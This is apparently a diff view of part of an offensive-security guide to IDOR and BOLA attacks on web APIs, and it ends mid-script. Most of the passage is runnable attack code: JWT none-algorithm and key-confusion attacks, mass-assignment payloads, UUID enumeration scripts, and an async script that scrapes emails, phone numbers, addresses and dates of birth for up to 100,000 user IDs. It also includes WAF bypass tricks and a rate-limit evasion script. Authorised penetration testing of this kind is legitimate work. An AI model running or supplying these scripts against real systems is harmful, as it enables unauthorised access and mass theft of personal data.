curl -s -H "Authorization: Bearer <token>" https://target.com/api/users/..
|
|
271
|
+
curl -s -H "Authorization: Bearer <token>" https://target.com/api/users/%2e%2e
|
|
272
|
+
```
|
|
273
|
+
|
|
274
|
+
**Intermediate Checklist:**
|
|
275
|
+
- [ ] All endpoints with ID patterns collected
|
|
276
|
+
- [ ] ffuf fuzzing complete on 3+ endpoints
|
|
277
|
+
- [ ] Hidden parameters discovered via Arjun
|
|
278
|
+
- [ ] All HTTP methods tested per endpoint
|
|
279
|
+
- [ ] Response diffing confirms data mismatch
|
|
280
|
+
- [ ] Results saved to JSON for autodoc
|
|
281
|
+
|
|
282
|
+
---
|
|
283
|
+
|
|
284
|
+
### ADVANCED — Vertical Escalation, UUID Enumeration, and API BOLA
|
|
285
|
+
|
|
286
|
+
**Prerequisites:** Python 3, JWT manipulation tools, uuid-utils, API documentation (Swagger/OpenAPI), Burp Pro.
|
|
287
|
+
|
|
288
|
+
**Goal:** Escalate privileges vertically (user → admin), enumerate UUID-protected resources, and map full API BOLA attack surface.
|
|
289
|
+
|
|
290
|
+
#### Vertical Privilege Escalation
|
|
291
|
+
|
|
292
|
+
**Step 1 — Identify admin/privileged endpoints**
|
|
293
|
+
|
|
294
|
+
```bash
|
|
295
|
+
# Collect admin endpoints from JS files and API specs
|
|
296
|
+
cat endpoints.txt | grep -iE 'admin|manage|internal|staff|superuser|root|moderator|elevated'
|
|
297
|
+
|
|
298
|
+
# Extract from JavaScript source
|
|
299
|
+
gau target.com | grep '\.js$' | while read url; do
|
|
300
|
+
curl -s "$url" | grep -oE '/api/[a-zA-Z0-9/_-]+'
|
|
301
|
+
done | sort -u | grep -iE 'admin|manage|staff'
|
|
302
|
+
|
|
303
|
+
# Download and parse OpenAPI/Swagger spec
|
|
304
|
+
curl -s https://target.com/api/swagger.json -o swagger.json
|
|
305
|
+
jq '.paths | keys[]' swagger.json | grep -iE 'admin|staff|manage'
|
|
306
|
+
```
|
|
307
|
+
|
|
308
|
+
**Step 2 — Test admin endpoint access with low-privileged token**
|
|
309
|
+
|
|
310
|
+
```bash
|
|
311
|
+
# Attempt admin function as regular user
|
|
312
|
+
curl -s -X GET \
|
|
313
|
+
-H "Authorization: Bearer <RegularUser_JWT>" \
|
|
314
|
+
https://target.com/api/admin/users \
|
|
315
|
+
-w "\nStatus: %{http_code}"
|
|
316
|
+
|
|
317
|
+
# Attempt to access admin user list
|
|
318
|
+
curl -s -X GET \
|
|
319
|
+
-H "Authorization: Bearer <RegularUser_JWT>" \
|
|
320
|
+
https://target.com/api/admin/users/list \
|
|
321
|
+
-w "\nStatus: %{http_code}"
|
|
322
|
+
|
|
323
|
+
# Attempt privilege modification
|
|
324
|
+
curl -s -X POST \
|
|
325
|
+
-H "Authorization: Bearer <RegularUser_JWT>" \
|
|
326
|
+
-H "Content-Type: application/json" \
|
|
327
|
+
-d '{"user_id": 9999, "role": "admin"}' \
|
|
328
|
+
https://target.com/api/admin/set-role \
|
|
329
|
+
-w "\nStatus: %{http_code}"
|
|
330
|
+
```
|
|
331
|
+
|
|
332
|
+
**Step 3 — JWT role manipulation**
|
|
333
|
+
|
|
334
|
+
```bash
|
|
335
|
+
# Install jwt_tool
|
|
336
|
+
git clone https://github.com/ticarpi/jwt_tool
|
|
337
|
+
pip install -r jwt_tool/requirements.txt
|
|
338
|
+
|
|
339
|
+
# Decode current JWT
|
|
340
|
+
python3 jwt_tool/jwt_tool.py <your_JWT>
|
|
341
|
+
|
|
342
|
+
# Modify role claim (if no signature verification)
|
|
343
|
+
python3 jwt_tool/jwt_tool.py <your_JWT> -T -S hs256 -p ""
|
|
344
|
+
# In editor: change "role": "user" to "role": "admin"
|
|
345
|
+
|
|
346
|
+
# Test with algorithm confusion (RS256 → HS256)
|
|
347
|
+
python3 jwt_tool/jwt_tool.py <your_JWT> -X k -pk public.pem
|
|
348
|
+
|
|
349
|
+
# None algorithm attack
|
|
350
|
+
python3 jwt_tool/jwt_tool.py <your_JWT> -X a
|
|
351
|
+
```
|
|
352
|
+
|
|
353
|
+
**Step 4 — Mass assignment attacks**
|
|
354
|
+
|
|
355
|
+
```bash
|
|
356
|
+
# Try injecting privilege fields in registration/update requests
|
|
357
|
+
curl -s -X POST \
|
|
358
|
+
-H "Content-Type: application/json" \
|
|
359
|
+
-d '{
|
|
360
|
+
"username": "attacker",
|
|
361
|
+
"email": "attacker@evil.com",
|
|
362
|
+
"password": "Test1234!",
|
|
363
|
+
"role": "admin",
|
|
364
|
+
"is_admin": true,
|
|
365
|
+
"admin": true,
|
|
366
|
+
"privilege_level": 99,
|
|
367
|
+
"account_type": "admin",
|
|
368
|
+
"permissions": ["read", "write", "admin"]
|
|
369
|
+
}' \
|
|
370
|
+
https://target.com/api/register
|
|
371
|
+
|
|
372
|
+
# Try in profile update
|
|
373
|
+
curl -s -X PUT \
|
|
374
|
+
-H "Authorization: Bearer <token>" \
|
|
375
|
+
-H "Content-Type: application/json" \
|
|
376
|
+
-d '{
|
|
377
|
+
"email": "newemail@evil.com",
|
|
378
|
+
"role": "admin",
|
|
379
|
+
"is_staff": true,
|
|
380
|
+
"balance": 99999
|
|
381
|
+
}' \
|
|
382
|
+
https://target.com/api/users/me
|
|
383
|
+
```
|
|
384
|
+
|
|
385
|
+
#### UUID/GUID Enumeration
|
|
386
|
+
|
|
387
|
+
**Step 5 — Analyze UUID version to determine predictability**
|
|
388
|
+
|
|
389
|
+
```python
|
|
390
|
+
#!/usr/bin/env python3
|
|
391
|
+
# save as: analyze_uuid.py
|
|
392
|
+
import uuid
|
|
393
|
+
import sys
|
|
394
|
+
|
|
395
|
+
def analyze_uuid(uuid_str):
|
|
396
|
+
try:
|
|
397
|
+
u = uuid.UUID(uuid_str)
|
|
398
|
+
print(f"UUID: {uuid_str}")
|
|
399
|
+
print(f"Version: {u.version}")
|
|
400
|
+
print(f"Variant: {u.variant}")
|
|
401
|
+
if u.version == 1:
|
|
402
|
+
print(f"Timestamp: {u.time}")
|
|
403
|
+
print(f"Clock seq: {u.clock_seq}")
|
|
404
|
+
print(f"Node (MAC): {hex(u.node)}")
|
|
405
|
+
print("[!] UUIDv1 is TIME-BASED and PREDICTABLE")
|
|
406
|
+
elif u.version == 4:
|
|
407
|
+
print("[*] UUIDv4 is random — harder to enumerate")
|
|
408
|
+
elif u.version == 7:
|
|
409
|
+
print("[!] UUIDv7 is time-ordered — partially predictable")
|
|
410
|
+
except ValueError as e:
|
|
411
|
+
print(f"Invalid UUID: {e}")
|
|
412
|
+
|
|
413
|
+
if __name__ == "__main__":
|
|
414
|
+
for arg in sys.argv[1:]:
|
|
415
|
+
analyze_uuid(arg)
|
|
416
|
+
print()
|
|
417
|
+
```
|
|
418
|
+
|
|
419
|
+
```bash
|
|
420
|
+
python3 analyze_uuid.py 550e8400-e29b-41d4-a716-446655440000
|
|
421
|
+
```
|
|
422
|
+
|
|
423
|
+
**Step 6 — UUIDv1 timestamp-based enumeration**
|
|
424
|
+
|
|
425
|
+
```python
|
|
426
|
+
#!/usr/bin/env python3
|
|
427
|
+
# save as: uuid_v1_enum.py
|
|
428
|
+
# Generate UUIDv1s around a known timestamp to enumerate adjacent users
|
|
429
|
+
|
|
430
|
+
import uuid
|
|
431
|
+
import time
|
|
432
|
+
import requests
|
|
433
|
+
|
|
434
|
+
KNOWN_UUID = "550e8400-e29b-11d4-a716-446655440000" # Known UUIDv1 from target
|
|
435
|
+
TARGET_URL = "https://target.com/api/users/{}"
|
|
436
|
+
BEARER_TOKEN = "YOUR_JWT_HERE"
|
|
437
|
+
|
|
438
|
+
def extract_timestamp(uuid_str):
|
|
439
|
+
u = uuid.UUID(uuid_str)
|
|
440
|
+
# UUIDv1 timestamp is 100-nanosecond intervals since Oct 15, 1582
|
|
441
|
+
timestamp = (u.time - 0x01b21dd213814000) / 1e7
|
|
442
|
+
return timestamp
|
|
443
|
+
|
|
444
|
+
def gen_nearby_uuids(reference_uuid, count=200, delta_seconds=60):
|
|
445
|
+
u = uuid.UUID(reference_uuid)
|
|
446
|
+
base_time = u.time
|
|
447
|
+
results = []
|
|
448
|
+
for i in range(-count, count):
|
|
449
|
+
# Shift by 100ns intervals (1 second = 10_000_000 intervals)
|
|
450
|
+
new_time = base_time + (i * 10_000_000 * delta_seconds // count)
|
|
451
|
+
new_time = max(0, min(new_time, 0xFFFFFFFFFFFFFFFF))
|
|
452
|
+
# Reconstruct UUID with modified time
|
|
453
|
+
time_low = new_time & 0xFFFFFFFF
|
|
454
|
+
time_mid = (new_time >> 32) & 0xFFFF
|
|
455
|
+
time_hi = (new_time >> 48) & 0x0FFF
|
|
456
|
+
# Combine with original node and clock_seq
|
|
457
|
+
new_uuid = uuid.UUID(
|
|
458
|
+
fields=(time_low, time_mid, time_hi | 0x1000,
|
|
459
|
+
u.clock_seq_hi_variant, u.clock_seq_low, u.node)
|
|
460
|
+
)
|
|
461
|
+
results.append(str(new_uuid))
|
|
462
|
+
return results
|
|
463
|
+
|
|
464
|
+
headers = {"Authorization": f"Bearer {BEARER_TOKEN}"}
|
|
465
|
+
candidates = gen_nearby_uuids(KNOWN_UUID)
|
|
466
|
+
|
|
467
|
+
for candidate_uuid in candidates:
|
|
468
|
+
try:
|
|
469
|
+
r = requests.get(TARGET_URL.format(candidate_uuid), headers=headers, timeout=5)
|
|
470
|
+
if r.status_code == 200:
|
|
471
|
+
data = r.json()
|
|
472
|
+
print(f"[HIT] UUID: {candidate_uuid}")
|
|
473
|
+
print(f" Data: {data}")
|
|
474
|
+
except Exception as e:
|
|
475
|
+
pass
|
|
476
|
+
```
|
|
477
|
+
|
|
478
|
+
**Step 7 — UUIDv4 brute force (targeted with known prefix patterns)**
|
|
479
|
+
|
|
480
|
+
```python
|
|
481
|
+
#!/usr/bin/env python3
|
|
482
|
+
# save as: uuid_harvest.py
|
|
483
|
+
# Collect UUIDs from API responses and build an enumeration wordlist
|
|
484
|
+
|
|
485
|
+
import requests
|
|
486
|
+
import json
|
|
487
|
+
import re
|
|
488
|
+
import sys
|
|
489
|
+
|
|
490
|
+
UUID_PATTERN = re.compile(
|
|
491
|
+
r'[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}',
|
|
492
|
+
re.IGNORECASE
|
|
493
|
+
)
|
|
494
|
+
|
|
495
|
+
TARGET_URL = "https://target.com/api/posts"
|
|
496
|
+
BEARER_TOKEN = "YOUR_JWT_HERE"
|
|
497
|
+
headers = {"Authorization": f"Bearer {BEARER_TOKEN}"}
|
|
498
|
+
|
|
499
|
+
found_uuids = set()
|
|
500
|
+
|
|
501
|
+
# Paginate through a public listing endpoint
|
|
502
|
+
for page in range(1, 100):
|
|
503
|
+
try:
|
|
504
|
+
r = requests.get(f"{TARGET_URL}?page={page}&limit=100",
|
|
505
|
+
headers=headers, timeout=10)
|
|
506
|
+
if r.status_code != 200:
|
|
507
|
+
break
|
|
508
|
+
text = r.text
|
|
509
|
+
matches = UUID_PATTERN.findall(text)
|
|
510
|
+
for m in matches:
|
|
511
|
+
found_uuids.add(m.lower())
|
|
512
|
+
print(f"Page {page}: +{len(matches)} UUIDs (total: {len(found_uuids)})")
|
|
513
|
+
except Exception as e:
|
|
514
|
+
print(f"Error on page {page}: {e}")
|
|
515
|
+
break
|
|
516
|
+
|
|
517
|
+
# Save to wordlist for ffuf
|
|
518
|
+
with open("uuid_wordlist.txt", "w") as f:
|
|
519
|
+
for u in sorted(found_uuids):
|
|
520
|
+
f.write(u + "\n")
|
|
521
|
+
|
|
522
|
+
print(f"\n[+] Saved {len(found_uuids)} UUIDs to uuid_wordlist.txt")
|
|
523
|
+
```
|
|
524
|
+
|
|
525
|
+
```bash
|
|
526
|
+
# Use harvested UUID wordlist with ffuf
|
|
527
|
+
ffuf -u "https://target.com/api/documents/FUZZ" \
|
|
528
|
+
-w uuid_wordlist.txt \
|
|
529
|
+
-H "Authorization: Bearer <UserA_JWT>" \
|
|
530
|
+
-mc 200 \
|
|
531
|
+
-t 30 \
|
|
532
|
+
-o idor_uuid_hits.json \
|
|
533
|
+
-of json
|
|
534
|
+
```
|
|
535
|
+
|
|
536
|
+
#### API BOLA Testing
|
|
537
|
+
|
|
538
|
+
**Step 8 — Map the API object model**
|
|
539
|
+
|
|
540
|
+
```bash
|
|
541
|
+
# Parse Swagger/OpenAPI to find all object ID references
|
|
542
|
+
curl -s https://target.com/v2/api-docs -o api_spec.json
|
|
543
|
+
|
|
544
|
+
# Extract all path parameters (these are BOLA candidates)
|
|
545
|
+
jq -r '.paths | to_entries[] | .key as $path | .value | to_entries[] |
|
|
546
|
+
.value.parameters // [] | .[] | select(.in == "path") |
|
|
547
|
+
"\($path) → \(.name) (\(.schema.type // "string"))"' api_spec.json
|
|
548
|
+
|
|
549
|
+
# List all endpoints with object IDs
|
|
550
|
+
jq -r '.paths | keys[]' api_spec.json | grep -E '\{[^}]+\}'
|
|
551
|
+
```
|
|
552
|
+
|
|
553
|
+
**Step 9 — Systematic BOLA test matrix**
|
|
554
|
+
|
|
555
|
+
```bash
|
|
556
|
+
# For each resource type, test cross-user access
|
|
557
|
+
# Resource: /api/v1/accounts/{account_id}/transactions/{transaction_id}
|
|
558
|
+
|
|
559
|
+
# UserA's own transaction
|
|
560
|
+
curl -s -H "Authorization: Bearer <UserA_JWT>" \
|
|
561
|
+
"https://target.com/api/v1/accounts/1001/transactions/5001"
|
|
562
|
+
|
|
563
|
+
# UserA accessing UserB's account (BOLA on account_id)
|
|
564
|
+
curl -s -H "Authorization: Bearer <UserA_JWT>" \
|
|
565
|
+
"https://target.com/api/v1/accounts/1002/transactions/5001"
|
|
566
|
+
|
|
567
|
+
# UserA accessing UserB's transaction (BOLA on transaction_id)
|
|
568
|
+
curl -s -H "Authorization: Bearer <UserA_JWT>" \
|
|
569
|
+
"https://target.com/api/v1/accounts/1001/transactions/5002"
|
|
570
|
+
|
|
571
|
+
# UserA accessing both different (combined BOLA)
|
|
572
|
+
curl -s -H "Authorization: Bearer <UserA_JWT>" \
|
|
573
|
+
"https://target.com/api/v1/accounts/1002/transactions/5002"
|
|
574
|
+
```
|
|
575
|
+
|
|
576
|
+
**Step 10 — Test BOLA in request body (not just URL)**
|
|
577
|
+
|
|
578
|
+
```bash
|
|
579
|
+
# Some APIs embed object references in the body
|
|
580
|
+
curl -s -X POST \
|
|
581
|
+
-H "Authorization: Bearer <UserA_JWT>" \
|
|
582
|
+
-H "Content-Type: application/json" \
|
|
583
|
+
-d '{
|
|
584
|
+
"from_account_id": 1002,
|
|
585
|
+
"to_account_id": 9999,
|
|
586
|
+
"amount": 100
|
|
587
|
+
}' \
|
|
588
|
+
https://target.com/api/v1/transfers
|
|
589
|
+
|
|
590
|
+
# Nested object references
|
|
591
|
+
curl -s -X GET \
|
|
592
|
+
-H "Authorization: Bearer <UserA_JWT>" \
|
|
593
|
+
-H "Content-Type: application/json" \
|
|
594
|
+
-d '{"filter": {"owner_id": 1002}}' \
|
|
595
|
+
https://target.com/api/v1/reports/generate
|
|
596
|
+
```
|
|
597
|
+
|
|
598
|
+
**Advanced Checklist:**
|
|
599
|
+
- [ ] JWT role manipulation tested
|
|
600
|
+
- [ ] Mass assignment fields enumerated and tested
|
|
601
|
+
- [ ] UUID version analyzed for all collected UUIDs
|
|
602
|
+
- [ ] UUIDv1 timestamp enumeration script run
|
|
603
|
+
- [ ] UUID harvest wordlist built from public endpoints
|
|
604
|
+
- [ ] API BOLA matrix completed for all resource types
|
|
605
|
+
- [ ] BOLA in request body tested
|
|
606
|
+
- [ ] Swagger/OpenAPI spec fully parsed
|
|
607
|
+
|
|
608
|
+
---
|
|
609
|
+
|
|
610
|
+
### EXPERT — Mass Extraction Automation, WAF Bypass, and Chained Attacks
|
|
611
|
+
|
|
612
|
+
**Prerequisites:** Advanced Python, asyncio, rate limiting knowledge, WAF fingerprinting, chaining skills with other RT modules.
|
|
613
|
+
|
|
614
|
+
**Goal:** Automate mass data extraction at scale, bypass WAF protections, and chain IDOR with other vulnerabilities for maximum impact.
|
|
615
|
+
|
|
616
|
+
#### Mass Extraction with Async Python
|
|
617
|
+
|
|
618
|
+
**Step 1 — High-speed async IDOR extractor**
|
|
619
|
+
|
|
620
|
+
```python
|
|
621
|
+
#!/usr/bin/env python3
|
|
622
|
+
# save as: mass_idor_extract.py
|
|
623
|
+
# Mass data extraction via IDOR with async requests, rate limiting, and output
|
|
624
|
+
|
|
625
|
+
import asyncio
|
|
626
|
+
import aiohttp
|
|
627
|
+
import json
|
|
628
|
+
import csv
|
|
629
|
+
import sys
|
|
630
|
+
import time
|
|
631
|
+
from pathlib import Path
|
|
632
|
+
|
|
633
|
+
# Configuration
|
|
634
|
+
TARGET_BASE = "https://target.com"
|
|
635
|
+
ENDPOINT = "/api/v1/users/{id}"
|
|
636
|
+
BEARER_TOKEN = "YOUR_JWT_HERE"
|
|
637
|
+
ID_START = 1
|
|
638
|
+
ID_END = 100000
|
|
639
|
+
CONCURRENCY = 50 # Parallel requests
|
|
640
|
+
RATE_LIMIT = 100 # Requests per second
|
|
641
|
+
OUTPUT_FILE = "extracted_users.json"
|
|
642
|
+
CSV_FILE = "extracted_users.csv"
|
|
643
|
+
|
|
644
|
+
# Fields to extract (for CSV)
|
|
645
|
+
EXTRACT_FIELDS = ["id", "username", "email", "phone", "address", "dob", "role"]
|
|
646
|
+
|
|
647
|
+
headers = {
|
|
648
|
+
"Authorization": f"Bearer {BEARER_TOKEN}",
|
|
649
|
+
"Content-Type": "application/json",
|
|
650
|
+
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
|
|
651
|
+
"Accept": "application/json",
|
|
652
|
+
}
|
|
653
|
+
|
|
654
|
+
results = []
|
|
655
|
+
errors = []
|
|
656
|
+
semaphore = None
|
|
657
|
+
rate_limiter_tokens = RATE_LIMIT
|
|
658
|
+
last_refill = time.monotonic()
|
|
659
|
+
|
|
660
|
+
async def fetch_record(session, record_id):
|
|
661
|
+
global rate_limiter_tokens, last_refill
|
|
662
|
+
|
|
663
|
+
url = TARGET_BASE + ENDPOINT.format(id=record_id)
|
|
664
|
+
async with semaphore:
|
|
665
|
+
try:
|
|
666
|
+
async with session.get(url, headers=headers, timeout=aiohttp.ClientTimeout(total=10)) as resp:
|
|
667
|
+
if resp.status == 200:
|
|
668
|
+
data = await resp.json()
|
|
669
|
+
data["_extracted_id"] = record_id
|
|
670
|
+
return ("hit", data)
|
|
671
|
+
elif resp.status == 404:
|
|
672
|
+
return ("miss", record_id)
|
|
673
|
+
elif resp.status == 429:
|
|
674
|
+
# Rate limited — back off
|
|
675
|
+
await asyncio.sleep(5)
|
|
676
|
+
return ("rate_limited", record_id)
|
|
677
|
+
else:
|
|
678
|
+
return ("error", {"id": record_id, "status": resp.status})
|
|
679
|
+
except Exception as e:
|
|
680
|
+
return ("exception", {"id": record_id, "error": str(e)})
|
|
681
|
+
|
|
682
|
+
async def main():
|
|
683
|
+
global semaphore
|
|
684
|
+
semaphore = asyncio.Semaphore(CONCURRENCY)
|
|
685
|
+
|
|
686
|
+
hits = []
|
|
687
|
+
total = ID_END - ID_START + 1
|
|
688
|
+
processed = 0
|
|
689
|
+
|
|
690
|
+
connector = aiohttp.TCPConnector(limit=CONCURRENCY, ssl=False)
|
|
691
|
+
async with aiohttp.ClientSession(connector=connector) as session:
|
|
692
|
+
# Process in batches to control rate
|
|
693
|
+
batch_size = RATE_LIMIT
|
|
694
|
+
for batch_start in range(ID_START, ID_END + 1, batch_size):
|
|
695
|
+
batch_end = min(batch_start + batch_size, ID_END + 1)
|
|
696
|
+
batch = range(batch_start, batch_end)
|
|
697
|
+
|
|
698
|
+
tasks = [fetch_record(session, i) for i in batch]
|
|
699
|
+
batch_results = await asyncio.gather(*tasks, return_exceptions=True)
|
|
700
|
+
|
|
701
|
+
for result in batch_results:
|
|
702
|
+
processed += 1
|
|
703
|
+
if isinstance(result, tuple):
|
|
704
|
+
status, data = result
|
|
705
|
+
if status == "hit":
|
|
706
|
+
hits.append(data)
|
|
707
|
+
print(f"[HIT] ID {data.get('id','?')} | {data.get('email','?')} | {data.get('username','?')}")
|
|
708
|
+
|
|
709
|
+
# Rate limiting: sleep 1 second between batches
|
|
710
|
+
await asyncio.sleep(1)
|
|
711
|
+
print(f"Progress: {processed}/{total} ({100*processed//total}%) | Hits: {len(hits)}")
|
|
712
|
+
|
|
713
|
+
# Save JSON output
|
|
714
|
+
with open(OUTPUT_FILE, "w") as f:
|
|
715
|
+
json.dump(hits, f, indent=2, default=str)
|
|
716
|
+
|
|
717
|
+
# Save CSV output
|
|
718
|
+
if hits:
|
|
719
|
+
with open(CSV_FILE, "w", newline="") as f:
|
|
720
|
+
writer = csv.DictWriter(f, fieldnames=EXTRACT_FIELDS, extrasaction="ignore")
|
|
721
|
+
writer.writeheader()
|
|
722
|
+
writer.writerows(hits)
|
|
723
|
+
|
|
724
|
+
print(f"\n[+] Extraction complete: {len(hits)} records")
|
|
725
|
+
print(f"[+] JSON: {OUTPUT_FILE}")
|
|
726
|
+
print(f"[+] CSV: {CSV_FILE}")
|
|
727
|
+
|
|
728
|
+
asyncio.run(main())
|
|
729
|
+
```
|
|
730
|
+
|
|
731
|
+
**Step 2 — UUID-based mass extraction**
|
|
732
|
+
|
|
733
|
+
```python
|
|
734
|
+
#!/usr/bin/env python3
|
|
735
|
+
# save as: mass_uuid_extract.py
|
|
736
|
+
# Mass extract using a pre-built UUID wordlist
|
|
737
|
+
|
|
738
|
+
import asyncio
|
|
739
|
+
import aiohttp
|
|
740
|
+
import json
|
|
741
|
+
|
|
742
|
+
TARGET_BASE = "https://target.com"
|
|
743
|
+
ENDPOINT = "/api/v1/documents/{uuid}"
|
|
744
|
+
BEARER_TOKEN = "YOUR_JWT_HERE"
|
|
745
|
+
UUID_WORDLIST = "uuid_wordlist.txt"
|
|
746
|
+
CONCURRENCY = 30
|
|
747
|
+
OUTPUT_FILE = "extracted_documents.json"
|
|
748
|
+
|
|
749
|
+
headers = {
|
|
750
|
+
"Authorization": f"Bearer {BEARER_TOKEN}",
|
|
751
|
+
"Accept": "application/json",
|
|
752
|
+
}
|
|
753
|
+
|
|
754
|
+
async def fetch_uuid(session, semaphore, uuid_val):
|
|
755
|
+
url = TARGET_BASE + ENDPOINT.format(uuid=uuid_val)
|
|
756
|
+
async with semaphore:
|
|
757
|
+
try:
|
|
758
|
+
async with session.get(url, headers=headers,
|
|
759
|
+
timeout=aiohttp.ClientTimeout(total=10)) as resp:
|
|
760
|
+
if resp.status == 200:
|
|
761
|
+
data = await resp.json()
|
|
762
|
+
print(f"[HIT] {uuid_val}: {json.dumps(data)[:120]}")
|
|
763
|
+
return data
|
|
764
|
+
except Exception:
|
|
765
|
+
pass
|
|
766
|
+
return None
|
|
767
|
+
|
|
768
|
+
async def main():
|
|
769
|
+
with open(UUID_WORDLIST) as f:
|
|
770
|
+
uuids = [line.strip() for line in f if line.strip()]
|
|
771
|
+
|
|
772
|
+
semaphore = asyncio.Semaphore(CONCURRENCY)
|
|
773
|
+
hits = []
|
|
774
|
+
|
|
775
|
+
connector = aiohttp.TCPConnector(limit=CONCURRENCY, ssl=False)
|
|
776
|
+
async with aiohttp.ClientSession(connector=connector) as session:
|
|
777
|
+
tasks = [fetch_uuid(session, semaphore, u) for u in uuids]
|
|
778
|
+
for coro in asyncio.as_completed(tasks):
|
|
779
|
+
result = await coro
|
|
780
|
+
if result:
|
|
781
|
+
hits.append(result)
|
|
782
|
+
|
|
783
|
+
with open(OUTPUT_FILE, "w") as f:
|
|
784
|
+
json.dump(hits, f, indent=2, default=str)
|
|
785
|
+
|
|
786
|
+
print(f"\n[+] Extracted {len(hits)} documents → {OUTPUT_FILE}")
|
|
787
|
+
|
|
788
|
+
asyncio.run(main())
|
|
789
|
+
```
|
|
790
|
+
|
|
791
|
+
#### WAF Bypass Techniques
|
|
792
|
+
|
|
793
|
+
**Step 3 — Header-based WAF bypass**
|
|
794
|
+
|
|
795
|
+
```bash
|
|
796
|
+
# Some WAFs only inspect specific headers or trust internal IP claims
|
|
797
|
+
# Test with X-Forwarded-For spoofing
|
|
798
|
+
curl -s -H "Authorization: Bearer <token>" \
|
|
799
|
+
-H "X-Forwarded-For: 127.0.0.1" \
|
|
800
|
+
-H "X-Real-IP: 127.0.0.1" \
|
|
801
|
+
-H "X-Originating-IP: 127.0.0.1" \
|
|
802
|
+
-H "X-Remote-IP: 127.0.0.1" \
|
|
803
|
+
-H "X-Client-IP: 127.0.0.1" \
|
|
804
|
+
https://target.com/api/admin/users/1337
|
|
805
|
+
|
|
806
|
+
# Custom headers that bypass WAF
|
|
807
|
+
curl -s -H "Authorization: Bearer <token>" \
|
|
808
|
+
-H "X-Forwarded-Host: internal.target.com" \
|
|
809
|
+
-H "X-Original-URL: /api/admin/users/1337" \
|
|
810
|
+
https://target.com/api/users/1337
|
|
811
|
+
```
|
|
812
|
+
|
|
813
|
+
**Step 4 — URL encoding and path traversal bypass**
|
|
814
|
+
|
|
815
|
+
```bash
|
|
816
|
+
# Double URL encoding
|
|
817
|
+
curl -s -H "Authorization: Bearer <token>" \
|
|
818
|
+
"https://target.com/api/users/%31%33%33%37"
|
|
819
|
+
|
|
820
|
+
# Unicode normalization
|
|
821
|
+
curl -s -H "Authorization: Bearer <token>" \
|
|
822
|
+
"https://target.com/api/users/1%E2%80%8B337"
|
|
823
|
+
|
|
824
|
+
# Path parameter variations
|
|
825
|
+
curl -s -H "Authorization: Bearer <token>" "https://target.com/api/users/1337/"
|
|
826
|
+
curl -s -H "Authorization: Bearer <token>" "https://target.com/api/users/1337/."
|
|
827
|
+
curl -s -H "Authorization: Bearer <token>" "https://target.com/api/users/1337;.json"
|
|
828
|
+
curl -s -H "Authorization: Bearer <token>" "https://target.com/api/users/1337.json"
|
|
829
|
+
curl -s -H "Authorization: Bearer <token>" "https://target.com/api/users/1337%00"
|
|
830
|
+
|
|
831
|
+
# HTTP verb overriding (WAF allows GET but blocks DELETE)
|
|
832
|
+
curl -s -X POST \
|
|
833
|
+
-H "Authorization: Bearer <token>" \
|
|
834
|
+
-H "X-HTTP-Method-Override: DELETE" \
|
|
835
|
+
https://target.com/api/users/1337
|
|
836
|
+
|
|
837
|
+
curl -s -X POST \
|
|
838
|
+
-H "Authorization: Bearer <token>" \
|
|
839
|
+
-H "X-Method-Override: DELETE" \
|
|
840
|
+
-H "_method: DELETE" \
|
|
841
|
+
https://target.com/api/users/1337
|
|
842
|
+
```
|
|
843
|
+
|
|
844
|
+
**Step 5 — Parameter pollution to bypass WAF**
|
|
845
|
+
|
|
846
|
+
```bash
|
|
847
|
+
# HTTP Parameter Pollution (HPP)
|
|
848
|
+
# WAF checks first parameter; backend uses last
|
|
849
|
+
curl -s -H "Authorization: Bearer <token>" \
|
|
850
|
+
"https://target.com/api/user?id=<OWN_ID>&id=1337"
|
|
851
|
+
|
|
852
|
+
# JSON parameter pollution
|
|
853
|
+
curl -s -X POST \
|
|
854
|
+
-H "Authorization: Bearer <token>" \
|
|
855
|
+
-H "Content-Type: application/json" \
|
|
856
|
+
-d '{"user_id": 1001, "user_id": 1337}' \
|
|
857
|
+
https://target.com/api/user/profile
|
|
858
|
+
|
|
859
|
+
# Array in parameter
|
|
860
|
+
curl -s -H "Authorization: Bearer <token>" \
|
|
861
|
+
"https://target.com/api/user?id[]=1001&id[]=1337"
|
|
862
|
+
|
|
863
|
+
# Nested JSON
|
|
864
|
+
curl -s -X POST \
|
|
865
|
+
-H "Authorization: Bearer <token>" \
|
|
866
|
+
-H "Content-Type: application/json" \
|
|
867
|
+
-d '{"user": {"id": 1337}}' \
|
|
868
|
+
https://target.com/api/user/get
|
|
869
|
+
```
|
|
870
|
+
|
|
871
|
+
**Step 6 — Rate limit evasion for mass extraction**
|
|
872
|
+
|
|
873
|
+
```python
|
|
874
|
+
#!/usr/bin/env python3
|
|
875
|
+
# save as: rate_evade_extract.py
|
|
876
|
+
# Rotate headers and delays to evade rate limiting during mass extraction
|
|
877
|
+
|
|
878
|
+
import requests
|
|
879
|
+
import time
|
|
880
|
+
import random
|
|
881
|
+
import json
|
|
882
|
+
|
|
883
|
+
TARGET = "https://target.com/api/users/{}"
|
|
884
|
+
TOKEN = "YOUR_JWT_HERE"
|
|
885
|
+
IDS = range(1, 10000)
|
|
886
|
+
|
|
887
|
+
USER_AGENTS = [
|
|
888
|
+
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
|
|
889
|
+
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15",
|
|
890
|
+
"Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0",
|
|
891
|
+
"Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15",
|
|
892
|
+
"okhttp/4.11.0",
|
|
893
|
+
"Dalvik/2.1.0 (Linux; U; Android 13; Pixel 7 Build/TQ3A.230901.001)",
|
|
894
|
+
]
|
|
895
|
+
|
|
896
|
+
results = []
|
|
897
|
+
|
|
898
|
+
for record_id in IDS:
|
|
899
|
+
ua = random.choice(USER_AGENTS)
|
|
900
|
+
headers = {
|
|
901
|
+
"Authorization": f"Bearer {TOKEN}",
|
|
902
|
+
"User-Agent": ua,
|
|
903
|
+
"Accept": "application/json",
|
|
904
|
+
"X-Request-ID": f"{random.randint(100000,999999)}",
|
|
905
|
+
}
|
|
906
|
+
|
|
907
|
+
try:
|
|
908
|
+
